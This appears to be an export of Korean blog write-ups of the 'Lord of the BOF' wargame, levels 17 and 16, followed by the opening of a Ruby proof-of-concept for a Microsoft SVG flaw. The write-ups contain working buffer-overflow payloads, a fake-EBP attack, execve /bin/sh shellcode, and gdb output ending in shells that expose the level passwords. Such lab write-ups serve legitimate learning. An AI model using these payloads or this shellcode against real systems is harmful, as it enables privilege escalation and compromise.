GDB. Type show warranty for details. This GDB was configured as i386-redhat-linux... (gdb) disassemble MO Dump of assembler code for function MO: 0x8048724 \u0026lt;MO\u0026gt;: push %ebp 0x8048725 \u0026lt;MO+1\u0026gt;: mov %esp,%ebp 0x8048727 \u0026lt;MO+3\u0026gt;: cmpl $0x4,0x8049a90 0x804872e \u0026lt;MO+10\u0026gt;: je 0x8048740 \u0026lt;MO+28\u0026gt; 0x8048730 \u0026lt;MO+12\u0026gt;: push $0x0 0x8048732 \u0026lt;MO+14\u0026gt;: call 0x804845c \u0026lt;exit\u0026gt; 0x8048737 \u0026lt;MO+19\u0026gt;: add $0x4,%esp 0x804873a \u0026lt;MO+22\u0026gt;: lea 0x0(%esi),%esi 0x8048740 \u0026lt;MO+28\u0026gt;: push $0x80489bb 0x8048745 \u0026lt;MO+33\u0026gt;: call 0x804844c \u0026lt;printf\u0026gt; 0x804874a \u0026lt;MO+38\u0026gt;: add $0x4,%esp 0x804874d \u0026lt;MO+41\u0026gt;: mov 0x8(%ebp),%eax 0x8048750 \u0026lt;MO+44\u0026gt;: push %eax 0x8048751 \u0026lt;MO+45\u0026gt;: call 0x804840c \u0026lt;system\u0026gt; 0x8048756 \u0026lt;MO+50\u0026gt;: add $0x4,%esp 0x8048759 \u0026lt;MO+53\u0026gt;: leave 0x804875a \u0026lt;MO+54\u0026gt;: ret 0x804875b \u0026lt;MO+55\u0026gt;: nop End of assembler dump. (gdb) b *MO+45 Breakpoint 1 at 0x8048751 (gdb) r `python -c print \u0026#39;A\u0026#39;*44 + \u0026#39;\\xec\\x87\\x04\\x08\u0026#39; + \u0026#39;\\xbc\\x87\\x04\\x08\u0026#39; + \u0026#39;\\x8c\\x87\\x04\\x08\u0026#39; + \u0026#39;\\x5c\\x87\\x04\\x08\u0026#39; + \u0026#39;\\x24\\x87\\x04\\x08\u0026#39; + \u0026#39;AAAA\u0026#39; + \u0026#39;BBBB\u0026#39;` Starting program: /home/zombie_assassin/succubus_tmp `python -c print \u0026#39;A\u0026#39;*44 + \u0026#39;\\xec\\x87\\x04\\x08\u0026#39; + \u0026#39;\\xbc\\x87\\x04\\x08\u0026#39; + \u0026#39;\\x8c\\x87\\x04\\x08\u0026#39; + \u0026#39;\\x5c\\x87\\x04\\x08\u0026#39; + \u0026#39;\\x24\\x87\\x04\\x08\u0026#39; + \u0026#39;AAAA\u0026#39; + \u0026#39;BBBB\u0026#39;` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\AAABBBB welcome to the DO! welcome to the GYE! welcome to the GUL! welcome to the YUT! welcome to the MO! Breakpoint 1, 0x8048751 in MO () (gdb) info regi eax 0x42424242 1111638594 ecx 0x400 1024 edx 0x40106980 1074817408 ebx 0x401081ec 1074823660 esp 0xbffffa88 -1073743224 ebp 0xbffffa8c -1073743220 esi 0x4000ae60 1073786464 edi 0xbffffac4 -1073743164 eip 0x8048751 134514513 eflags 0x282 642 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x0 0 cwd 0xffff037f -64641 swd 0xffff0000 -65536 twd 0x0 0 fip 0x401e0178 1075708280 fcs 0x0 0 fopo 0x0 0 fos 0x0 0 (gdb) MO() 함수에서 system() 함수가 실행되기 전에 브레이크 포인트를 건 후 eax 값을 확인한 결과 인자가 BBBB가 들어감을 확인하였다. 따라서 해당 위치에 bash 혹은 sh 등의 명령어의 주소를 넣어주면 될 것으로 보인다.\n그럼 명령어는 어디다 위치시켜야 할까? 그냥 단순히 간단하게 아래와 같이 공격을 하면 될 것으로 보인다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 [zombie_assassin@localhost zombie_assassin]$ gdb succubus_tmp GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type show copying to see the conditions. There is absolutely no warranty for GDB. Type show warranty for details. This GDB was configured as i386-redhat-linux... (gdb) disassemble MO Dump of assembler code for function MO: 0x8048724 \u0026lt;MO\u0026gt;: push %ebp 0x8048725 \u0026lt;MO+1\u0026gt;: mov %esp,%ebp 0x8048727 \u0026lt;MO+3\u0026gt;: cmpl $0x4,0x8049a90 0x804872e \u0026lt;MO+10\u0026gt;: je 0x8048740 \u0026lt;MO+28\u0026gt; 0x8048730 \u0026lt;MO+12\u0026gt;: push $0x0 0x8048732 \u0026lt;MO+14\u0026gt;: call 0x804845c \u0026lt;exit\u0026gt; 0x8048737 \u0026lt;MO+19\u0026gt;: add $0x4,%esp 0x804873a \u0026lt;MO+22\u0026gt;: lea 0x0(%esi),%esi 0x8048740 \u0026lt;MO+28\u0026gt;: push $0x80489bb 0x8048745 \u0026lt;MO+33\u0026gt;: call 0x804844c \u0026lt;printf\u0026gt; 0x804874a \u0026lt;MO+38\u0026gt;: add $0x4,%esp 0x804874d \u0026lt;MO+41\u0026gt;: mov 0x8(%ebp),%eax 0x8048750 \u0026lt;MO+44\u0026gt;: push %eax 0x8048751 \u0026lt;MO+45\u0026gt;: call 0x804840c \u0026lt;system\u0026gt; 0x8048756 \u0026lt;MO+50\u0026gt;: add $0x4,%esp 0x8048759 \u0026lt;MO+53\u0026gt;: leave 0x804875a \u0026lt;MO+54\u0026gt;: ret 0x804875b \u0026lt;MO+55\u0026gt;: nop End of assembler dump. (gdb) b *MO+45 Breakpoint 1 at 0x8048751 (gdb) r `python -c print \u0026#39;A\u0026#39;*44 + \u0026#39;\\xec\\x87\\x04\\x08\u0026#39; + \u0026#39;\\xbc\\x87\\x04\\x08\u0026#39; + \u0026#39;\\x8c\\x87\\x04\\x08\u0026#39; + \u0026#39;\\x5c\\x87\\x04\\x08\u0026#39; + \u0026#39;\\x24\\x87\\x04\\x08\u0026#39; + \u0026#39;AAAA\u0026#39; + \u0026#39;BBBB\u0026#39; + \u0026#39;sh\u0026#39;` Starting program: /home/zombie_assassin/succubus_tmp `python -c print \u0026#39;A\u0026#39;*44 + \u0026#39;\\xec\\x87\\x04\\x08\u0026#39; + \u0026#39;\\xbc\\x87\\x04\\x08\u0026#39; + \u0026#39;\\x8c\\x87\\x04\\x08\u0026#39; + \u0026#39;\\x5c\\x87\\x04\\x08\u0026#39; + \u0026#39;\\x24\\x87\\x04\\x08\u0026#39; + \u0026#39;AAAA\u0026#39; + \u0026#39;BBBB\u0026#39; + \u0026#39;sh\u0026#39;` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\AAABBBBsh welcome to the DO! welcome to the GYE! welcome to the GUL! welcome to the YUT! welcome to the MO! Breakpoint 1, 0x8048751 in MO () (gdb) x/32wx $esp 0xbffffa88: 0x42424242 0x00000000 0x41414141 0x42424242 0xbffffa98: 0x00006873 0x080484b1 0x08048808 0x00000002 0xbffffaa8: 0xbffffac4 0x0804839c 0x0804894c 0x4000ae60 0xbffffab8: 0xbffffabc 0x40013e90 0x00000002 0xbffffbbb 0xbffffac8: 0xbffffbde 0x00000000 0xbffffc29 0xbffffc43 0xbffffad8: 0xbffffc5a 0xbffffc79 0xbffffc9b 0x00000000 0xbffffae8: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffaf8: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) r `python -c print \u0026#39;A\u0026#39;*44 + \u0026#39;\\xec\\x87\\x04\\x08\u0026#39; + \u0026#39;\\xbc\\x87\\x04\\x08\u0026#39; + \u0026#39;\\x8c\\x87\\x04\\x08\u0026#39; + \u0026#39;\\x5c\\x87\\x04\\x08\u0026#39; + \u0026#39;\\x24\\x87\\x04\\x08\u0026#39; + \u0026#39;AAAA\u0026#39; + \u0026#39;\\x98\\xfa\\xff\\xbf\u0026#39; + \u0026#39;sh\u0026#39;` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/zombie_assassin/succubus_tmp `python -c print \u0026#39;A\u0026#39;*44 + \u0026#39;\\xec\\x87\\x04\\x08\u0026#39; + \u0026#39;\\xbc\\x87\\x04\\x08\u0026#39; + \u0026#39;\\x8c\\x87\\x04\\x08\u0026#39; + \u0026#39;\\x5c\\x87\\x04\\x08\u0026#39; + \u0026#39;\\x24\\x87\\x04\\x08\u0026#39; + \u0026#39;AAAA\u0026#39; + \u0026#39;\\x98\\xfa\\xff\\xbf\u0026#39; + \u0026#39;sh\u0026#39;` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\AAAsh welcome to the DO! welcome to the GYE! welcome to the GUL! welcome to the YUT! welcome to the MO! Breakpoint 1, 0x8048751 in MO () (gdb) c Continuing. bash$ 쉘이 떨어졌다. 이제 본 프로그램에 공격을 해보도록 하자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 [zombie_assassin@localhost zombie_assassin]$ ./succubus `python -c print \u0026#39;A\u0026#39;*44 + \u0026#39;\\xec\\x87\\x04\\x08\u0026#39; + \u0026#39;\\xbc\\x87\\x04\\x08\u0026#39; + \u0026#39;\\x8c\\x87\\x04\\x08\u0026#39; + \u0026#39;\\x5c\\x87\\x04\\x08\u0026#39; + \u0026#39;\\x24\\x87\\x04\\x08\u0026#39; + \u0026#39;AAAA\u0026#39; + \u0026#39;\\x98\\xfa\\xff\\xbf\u0026#39; + \u0026#39;sh\u0026#39;` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\AAAsh welcome to the DO! welcome to the GYE! welcome to the GUL! welcome to the YUT! welcome to the MO! Segmentation fault [zombie_assassin@localhost zombie_assassin]$ ./succubus `python -c print \u0026#39;A\u0026#39;*44 + \u0026#39;\\xec\\x87\\x04\\x08\u0026#39; + \u0026#39;\\xbc\\x87\\x04\\x08\u0026#39; + \u0026#39;\\x8c\\x87\\x04\\x08\u0026#39; + \u0026#39;\\x5c\\x87\\x04\\x08\u0026#39; + \u0026#39;\\x24\\x87\\x04\\x08\u0026#39; + \u0026#39;AAAA\u0026#39; + \u0026#39;\\xa8\\xfa\\xff\\xbf\u0026#39; + \u0026#39;sh\u0026#39;` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\AAAsh welcome to the DO! welcome to the GYE! welcome to the GUL! welcome to the YUT! welcome to the MO! sh: : command not found Segmentation fault [zombie_assassin@localhost zombie_assassin]$ ./succubus `python -c print \u0026#39;A\u0026#39;*44 + \u0026#39;\\xec\\x87\\x04\\x08\u0026#39; + \u0026#39;\\xbc\\x87\\x04\\x08\u0026#39; + \u0026#39;\\x8c\\x87\\x04\\x08\u0026#39; + \u0026#39;\\x5c\\x87\\x04\\x08\u0026#39; + \u0026#39;\\x24\\x87\\x04\\x08\u0026#39; + \u0026#39;AAAA\u0026#39; + \u0026#39;\\xb8\\xfa\\xff\\xbf\u0026#39; + \u0026#39;sh\u0026#39;` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\AAAsh welcome to the DO! welcome to the GYE! welcome to the GUL! welcome to the YUT! welcome to the MO! bash$ id uid=516(zombie_assassin) gid=516(zombie_assassin) euid=517(succubus) egid=517(succubus) groups=516(zombie_assassin) bash$ my-pass euid = 517 here to stay bash$ ","date":"2011-01-17T11:48:42Z","permalink":"/2011/01/17/bof-%EC%9B%90%EC%A0%95%EB%8C%80-level-17-succubus/","title":"BOF 원정대 - Level 17 (succubus)"},{"content":"이번 문제 소스는 아래와 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 /* The Lord of the BOF : The Fellowship of the BOF - zombie_assassin - FEBP */ #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; main(int argc, char *argv[]) { char buffer[40]; if(argc \u0026lt; 2){ printf(argv error\\n); exit(0); } if(argv[1][47] == \u0026#39;\\xbf\u0026#39;) { printf(stack retbayed you!\\n); exit(0); } if(argv[1][47] == \u0026#39;\\x40\u0026#39;) { printf(library retbayed you, too!!\\n); exit(0); } // strncpy instead of strcpy! strncpy(buffer, argv[1], 48); printf(%s\\n, buffer); } 문제 주석을 보면 FEBP가 있는 여기서 FEBP는 Fake EBP를 의미하는 것으로 보인다. Fake EBP 공격은 EBP를 변조한 후 RET 주소에 leave 명령어를 넣어 우리가 원하는 위치로 뛰게 하는 기법이다.\n여기서는 우선 NOP + SHELLCODE 를 환경변수에 등록 후 버퍼에 해당 환경변수 주소값으로 채운 후 EBP를 buffer 위치로 이동시켜 공격을 하도록 하겠다. 그럼 우선 공격에 필요한 주소를 확인해 보도록 하자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 [assassin@localhost assassin]$ export SH=`python -c print \u0026#39;\\x90\u0026#39;*100 + \u0026#39;\\x31\\xc0\\xb0\\x31\\xcd\\x80\\x89\\xc3\\x89\\xc1\\x31\\xc0\\xb0\\x46\\xcd\\x80\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x31\\xd2\\xb0\\x0b\\xcd\\x80\u0026#39;` [assassin@localhost assassin]$ gdb zombie_assassin_tmp GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type show copying to see the conditions. There is absolutely no warranty for GDB. Type show warranty for details. This GDB was configured as i386-redhat-linux... (gdb) disassemble main Dump of assembler code for function main: 0x8048440 \u0026lt;main\u0026gt;: push %ebp 0x8048441 \u0026lt;main+1\u0026gt;: mov %esp,%ebp 0x8048443 \u0026lt;main+3\u0026gt;: sub $0x28,%esp 0x8048446 \u0026lt;main+6\u0026gt;: cmpl $0x1,0x8(%ebp) 0x804844a \u0026lt;main+10\u0026gt;: jg 0x8048463 \u0026lt;main+35\u0026gt; 0x804844c \u0026lt;main+12\u0026gt;: push $0x8048540 0x8048451 \u0026lt;main+17\u0026gt;: call 0x8048354 \u0026lt;printf\u0026gt; 0x8048456 \u0026lt;main+22\u0026gt;: add $0x4,%esp 0x8048459 \u0026lt;main+25\u0026gt;: push $0x0 0x804845b \u0026lt;main+27\u0026gt;: call 0x8048364 \u0026lt;exit\u0026gt; 0x8048460 \u0026lt;main+32\u0026gt;: add $0x4,%esp 0x8048463 \u0026lt;main+35\u0026gt;: mov 0xc(%ebp),%eax 0x8048466 \u0026lt;main+38\u0026gt;: add $0x4,%eax 0x8048469 \u0026lt;main+41\u0026gt;: mov (%eax),%edx 0x804846b \u0026lt;main+43\u0026gt;: add $0x2f,%edx 0x804846e \u0026lt;main+46\u0026gt;: cmpb $0xbf,(%edx) 0x8048471 \u0026lt;main+49\u0026gt;: jne 0x8048490 \u0026lt;main+80\u0026gt; 0x8048473 \u0026lt;main+51\u0026gt;: push $0x804854c 0x8048478 \u0026lt;main+56\u0026gt;: call 0x8048354 \u0026lt;printf\u0026gt; 0x804847d \u0026lt;main+61\u0026gt;: add $0x4,%esp 0x8048480 \u0026lt;main+64\u0026gt;: push $0x0 0x8048482 \u0026lt;main+66\u0026gt;: call 0x8048364 \u0026lt;exit\u0026gt; 0x8048487 \u0026lt;main+71\u0026gt;: add $0x4,%esp 0x804848a \u0026lt;main+74\u0026gt;: lea 0x0(%esi),%esi 0x8048490 \u0026lt;main+80\u0026gt;: mov 0xc(%ebp),%eax 0x8048493 \u0026lt;main+83\u0026gt;: add $0x4,%eax 0x8048496 \u0026lt;main+86\u0026gt;: mov (%eax),%edx 0x8048498 \u0026lt;main+88\u0026gt;: add $0x2f,%edx 0x804849b \u0026lt;main+91\u0026gt;: cmpb $0x40,(%edx) 0x804849e \u0026lt;main+94\u0026gt;: jne 0x80484b7 \u0026lt;main+119\u0026gt; 0x80484a0 \u0026lt;main+96\u0026gt;: push $0x8048561 0x80484a5 \u0026lt;main+101\u0026gt;: call 0x8048354 \u0026lt;printf\u0026gt; 0x80484aa \u0026lt;main+106\u0026gt;: add $0x4,%esp ---Type \u0026lt;return\u0026gt; to continue, or q \u0026lt;return\u0026gt; to quit--- 0x80484ad \u0026lt;main+109\u0026gt;: push $0x0 0x80484af \u0026lt;main+111\u0026gt;: call 0x8048364 \u0026lt;exit\u0026gt; 0x80484b4 \u0026lt;main+116\u0026gt;: add $0x4,%esp 0x80484b7 \u0026lt;main+119\u0026gt;: push $0x30 0x80484b9 \u0026lt;main+121\u0026gt;: mov 0xc(%ebp),%eax 0x80484bc \u0026lt;main+124\u0026gt;: add $0x4,%eax 0x80484bf \u0026lt;main+127\u0026gt;: mov (%eax),%edx 0x80484c1 \u0026lt;main+129\u0026gt;: push %edx 0x80484c2 \u0026lt;main+130\u0026gt;: lea 0xffffffd8(%ebp),%eax 0x80484c5 \u0026lt;main+133\u0026gt;: push %eax 0x80484c6 \u0026lt;main+134\u0026gt;: call 0x8048374 \u0026lt;strncpy\u0026gt; 0x80484cb \u0026lt;main+139\u0026gt;: add $0xc,%esp 0x80484ce \u0026lt;main+142\u0026gt;: lea 0xffffffd8(%ebp),%eax 0x80484d1 \u0026lt;main+145\u0026gt;: push %eax 0x80484d2 \u0026lt;main+146\u0026gt;: push $0x804857e 0x80484d7 \u0026lt;main+151\u0026gt;: call 0x8048354 \u0026lt;printf\u0026gt; 0x80484dc \u0026lt;main+156\u0026gt;: add $0x8,%esp 0x80484df \u0026lt;main+159\u0026gt;: leave 0x80484e0 \u0026lt;main+160\u0026gt;: ret 0x80484e1 \u0026lt;main+161\u0026gt;: nop 0x80484e2 \u0026lt;main+162\u0026gt;: nop 0x80484e3 \u0026lt;main+163\u0026gt;: nop 0x80484e4 \u0026lt;main+164\u0026gt;: nop 0x80484e5 \u0026lt;main+165\u0026gt;: nop 0x80484e6 \u0026lt;main+166\u0026gt;: nop 0x80484e7 \u0026lt;main+167\u0026gt;: nop 0x80484e8 \u0026lt;main+168\u0026gt;: nop 0x80484e9 \u0026lt;main+169\u0026gt;: nop 0x80484ea \u0026lt;main+170\u0026gt;: nop 0x80484eb \u0026lt;main+171\u0026gt;: nop 0x80484ec \u0026lt;main+172\u0026gt;: nop 0x80484ed \u0026lt;main+173\u0026gt;: nop 0x80484ee \u0026lt;main+174\u0026gt;: nop 0x80484ef \u0026lt;main+175\u0026gt;: nop ---Type \u0026lt;return\u0026gt; to continue, or q \u0026lt;return\u0026gt; to quit--- End of assembler dump. (gdb) b main Breakpoint 1 at 0x8048446 (gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAA Starting program: /home/assassin/zombie_assassin_tmp AAAAAAAAAAAAAAAAAAAAAAAAAAAAA Breakpoint 1, 0x8048446 in main () (gdb) x/32wx $esp 0xbffffa20: 0xbffffa48 0x4000a970 0x400f855b 0x080495a4 0xbffffa30: 0x4000ae60 0xbffffa94 0xbffffa48 0x0804842b 0xbffffa40: 0x08049590 0x080495a4 0xbffffa68 0x400309cb 0xbffffa50: 0x00000002 0xbffffa94 0xbffffaa0 0x40013868 0xbffffa60: 0x00000002 0x08048390 0x00000000 0x080483b1 0xbffffa70: 0x08048440 0x00000002 0xbffffa94 0x080482e4 0xbffffa80: 0x0804851c 0x4000ae60 0xbffffa8c 0x40013e90 0xbffffa90: 0x00000002 0xbffffb8a 0xbffffbad 0x00000000 (gdb) 0xbffffaa0: 0xbffffbcb 0xbffffbde 0xbffffbf5 0xbffffc14 0xbffffab0: 0xbffffc36 0xbffffc44 0xbffffe07 0xbffffe26 0xbffffac0: 0xbffffe44 0xbffffe59 0xbffffe79 0xbffffe84 0xbffffad0: 0xbfffff15 0xbfffff26 0xbfffff2e 0xbfffff3f 0xbffffae0: 0xbfffff49 0xbfffff57 0xbfffff68 0xbfffff76 0xbffffaf0: 0xbfffff81 0xbfffff95 0x00000000 0x00000003 0xbffffb00: 0x08048034 0x00000004 0x00000020 0x00000005 0xbffffb10: 0x00000006 0x00000006 0x00001000 0x00000007 (gdb) 0xbffffb20: 0x40000000 0x00000008 0x00000000 0x00000009 0xbffffb30: 0x08048390 0x0000000b 0x00000203 0x0000000c 0xbffffb40: 0x00000203 0x0000000d 0x00000203 0x0000000e 0xbffffb50: 0x00000203 0x00000010 0x0febfbff 0x0000000f 0xbffffb60: 0xbffffb85 0x00000000 0x00000000 0x00000000 0xbffffb70: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffb80: 0x00000000 0x38366900 0x682f0036 0x2f656d6f 0xbffffb90: 0x61737361 0x6e697373 0x6d6f7a2f 0x5f656962 (gdb) 0xbffffba0: 0x61737361 0x6e697373 0x706d745f 0x41414100 0xbffffbb0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffbc0: 0x41414141 0x41414141 0x50004141 0x2f3d4457 0xbffffbd0: 0x656d6f68 0x7373612f 0x69737361 0x4552006e 0xbffffbe0: 0x45544f4d 0x54534f48 0x3239313d 0x3836312e 0xbffffbf0: 0x312e332e 0x534f4800 0x4d414e54 0x6f6c3d45 0xbffffc00: 0x686c6163 0x2e74736f 0x61636f6c 0x6d6f646c 0xbffffc10: 0x006e6961 0x5353454c 0x4e45504f 0x752f7c3d (gdb) 0xbffffc20: 0x622f7273 0x6c2f6e69 0x70737365 0x2e657069 0xbffffc30: 0x25206873 0x53550073 0x613d5245 0x73617373 0xbffffc40: 0x006e6973 0x435f534c 0x524f4c4f 0x6f6e3d53 0xbffffc50: 0x3a30303d 0x303d6966 0x69643a30 0x3b31303d 0xbffffc60: 0x6c3a3433 0x31303d6e 0x3a36333b 0x343d6970 0xbffffc70: 0x33333b30 0x3d6f733a 0x333b3130 0x64623a35 0xbffffc80: 0x3b30343d 0x303b3333 0x64633a31 0x3b30343d 0xbffffc90: 0x303b3333 0x726f3a31 0x3b31303d 0x333b3530 (gdb) 0xbffffca0: 0x31343b37 0x3d696d3a 0x303b3130 0x37333b35 0xbffffcb0: 0x3a31343b 0x303d7865 0x32333b31 0x632e2a3a 0xbffffcc0: 0x303d646d 0x32333b31 0x652e2a3a 0x303d6578 0xbffffcd0: 0x32333b31 0x632e2a3a 0x303d6d6f 0x32333b31 0xbffffce0: 0x622e2a3a 0x303d6d74 0x32333b31 0x622e2a3a 0xbffffcf0: 0x303d7461 0x32333b31 0x732e2a3a 0x31303d68 0xbffffd00: 0x3a32333b 0x73632e2a 0x31303d68 0x3a32333b 0xbffffd10: 0x61742e2a 0x31303d72 0x3a31333b 0x67742e2a (gdb) 0xbffffd20: 0x31303d7a 0x3a31333b 0x72612e2a 0x31303d6a 0xbffffd30: 0x3a31333b 0x61742e2a 0x31303d7a 0x3a31333b 0xbffffd40: 0x7a6c2e2a 0x31303d68 0x3a31333b 0x697a2e2a 0xbffffd50: 0x31303d70 0x3a31333b 0x3d7a2e2a 0x333b3130 0xbffffd60: 0x2e2a3a31 0x31303d5a 0x3a31333b 0x7a672e2a 0xbffffd70: 0x3b31303d 0x2a3a3133 0x327a622e 0x3b31303d 0xbffffd80: 0x2a3a3133 0x3d7a622e 0x333b3130 0x2e2a3a31 0xbffffd90: 0x303d7a74 0x31333b31 0x722e2a3a 0x303d6d70 (gdb) 0xbffffda0: 0x31333b31 0x632e2a3a 0x3d6f6970 0x333b3130 0xbffffdb0: 0x2e2a3a31 0x3d67706a 0x333b3130 0x2e2a3a35 0xbffffdc0: 0x3d666967 0x333b3130 0x2e2a3a35 0x3d706d62 0xbffffdd0: 0x333b3130 0x2e2a3a35 0x3d6d6278 0x333b3130 0xbffffde0: 0x2e2a3a35 0x3d6d7078 0x333b3130 0x2e2a3a35 0xbffffdf0: 0x3d676e70 0x333b3130 0x2e2a3a35 0x3d666974 0xbffffe00: 0x333b3130 0x4d003a35 0x54484341 0x3d455059 0xbffffe10: 0x36383369 0x6465722d 0x2d746168 0x756e696c (gdb) 0xbffffe20: 0x6e672d78 0x414d0075 0x2f3d4c49 0x2f726176 0xbffffe30: 0x6f6f7073 0x616d2f6c 0x612f6c69 0x73617373 0xbffffe40: 0x006e6973 0x55504e49 0x3d435254 0x6374652f 0xbffffe50: 0x706e692f 0x63727475 0x53414200 0x4e455f48 0xbffffe60: 0x682f3d56 0x2f656d6f 0x61737361 0x6e697373 0xbffffe70: 0x61622e2f 0x63726873 0x4e414c00 0x6e653d47 0xbffffe80: 0x0053555f 0x903d4853 0x90909090 0x90909090 0xbffffe90: 0x90909090 0x90909090 0x90909090 0x90909090 (gdb) 0xbffffea0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffeb0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffec0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffed0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffee0: 0x90909090 0x90909090 0x31909090 0xcd31b0c0 0xbffffef0: 0x89c38980 0xb0c031c1 0x3180cd46 0x2f6850c0 0xbfffff00: 0x6868732f 0x6e69622f 0x5350e389 0xd231e189 0xbfffff10: 0x80cd0bb0 0x474f4c00 0x454d414e 0x7373613d (gdb) q The program is running. Exit anyway? (y or n) y [assassin@localhost assassin]$ leave 명령어 주소 : 0x80484df buffer 시작 주소 : 0xbffffbad NOP + SHELLCODE 환경변수 주소 : 0xbffffe90 이제 필요한 주소를 모두 확인하였으니 공격을 해보도록 하자. PAYLOAD는 아래와 같다.\n[NOP + SHELLCODE 환경변수 주소, 0xbffffe90 * 10] [buffer 시작주소, 0xbffffbad] [leave 명령어주소, 0x80484df]\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 [assassin@localhost assassin]$ ./zombie_assassin `python -c print \u0026#39;\\x90\\xfe\\xff\\xbf\u0026#39;*10 + \u0026#39;\\xad\\xfb\\xff\\xbf\u0026#39; + \u0026#39;\\xdf\\x84\\x04\\x08\u0026#39;` ? Segmentation fault [assassin@localhost assassin]$ ./zombie_assassin `python -c print \u0026#39;\\x90\\xfe\\xff\\xbf\u0026#39;*10 + \u0026#39;\\xae\\xfb\\xff\\xbf\u0026#39; + \u0026#39;\\xdf\\x84\\x04\\x08\u0026#39;` ? Segmentation fault [assassin@localhost assassin]$ ./zombie_assassin `python -c print \u0026#39;\\x90\\xfe\\xff\\xbf\u0026#39;*10 + \u0026#39;\\xaf\\xfb\\xff\\xbf\u0026#39; + \u0026#39;\\xdf\\x84\\x04\\x08\u0026#39;` ? bash$ id uid=516(zombie_assassin) gid=515(assassin) egid=516(zombie_assassin) groups=515(assassin) bash$ my-pass euid = 516 no place to hide bash$ ","date":"2011-01-12T16:08:44Z","permalink":"/2011/01/12/bof-%EC%9B%90%EC%A0%95%EB%8C%80-level-16-zombie_assassin/","title":"BOF 원정대 - Level 16 (zombie_assassin)"},{"content":" 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 #!/usr/bin/env ruby # http://breakingpointsystems.com/community/blog/microsoft-vulnerability-proof-of-concept # Nephi Johnson require \u0026#39;socket\u0026#39; def http_send(sock, data, opts={}) defaults = {:code=\u0026gt;\u0026#34;200\u0026#34;, :message=\u0026gt;\u0026#34;OK\u0026#34;, :type=\u0026gt;\u0026#34;text/html\u0026#34;, :desc=\u0026gt;\u0026#34;content\u0026#34;} opts = defaults.merge(opts) code = opts[:code] message = opts[:message] type = opts[:type] date_str = Time.now.gmtime.strftime(\u0026#34;%a, %d %b %Y %H:%M:%S GMT\u0026#34;) headers = \u0026#34;HTTP/1.1 #{code} #{message}\\r\\n\u0026#34; + \u0026#34;Date: #{date_str}\\r\\n\u0026#34; + \u0026#34;Content-Length: #{data.length}\\r\\n\u0026#34; + \u0026#34;Content-Type: #{type}\\r\\n\\r\\n\u0026#34; puts \u0026#34;[+] Sending #{opts[:desc]}\u0026#34; sock.write(headers + data) rescue return false return true end def sock_read(sock, out_str, timeout=5) begin if Kernel.select([sock],[],[],timeout) out_str.replace(sock.recv(1024)) puts \u0026#34;[+] Received:\u0026#34; puts \u0026#34; \u0026#34; + out_str.split(\u0026#34;\\n\u0026#34;)[0] return true else sock.close return false end rescue Exception =\u0026gt; ex return false end end port = ARGV[0] || 55555 transform_name = \u0026#34;\\x21\u0026#34; * 65535 svg = \u0026lt;\u0026lt;-SVG \u0026lt;?xml version=\u0026#34;1.0\u0026#34;?\u0026gt; \u0026lt;!DOCTYPE svg PUBLIC \u0026#34;-//W3C//DTD SVG 1.1//EN\u0026#34; \u0026#34;http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\u0026#34;\u0026gt; \u0026lt;svg 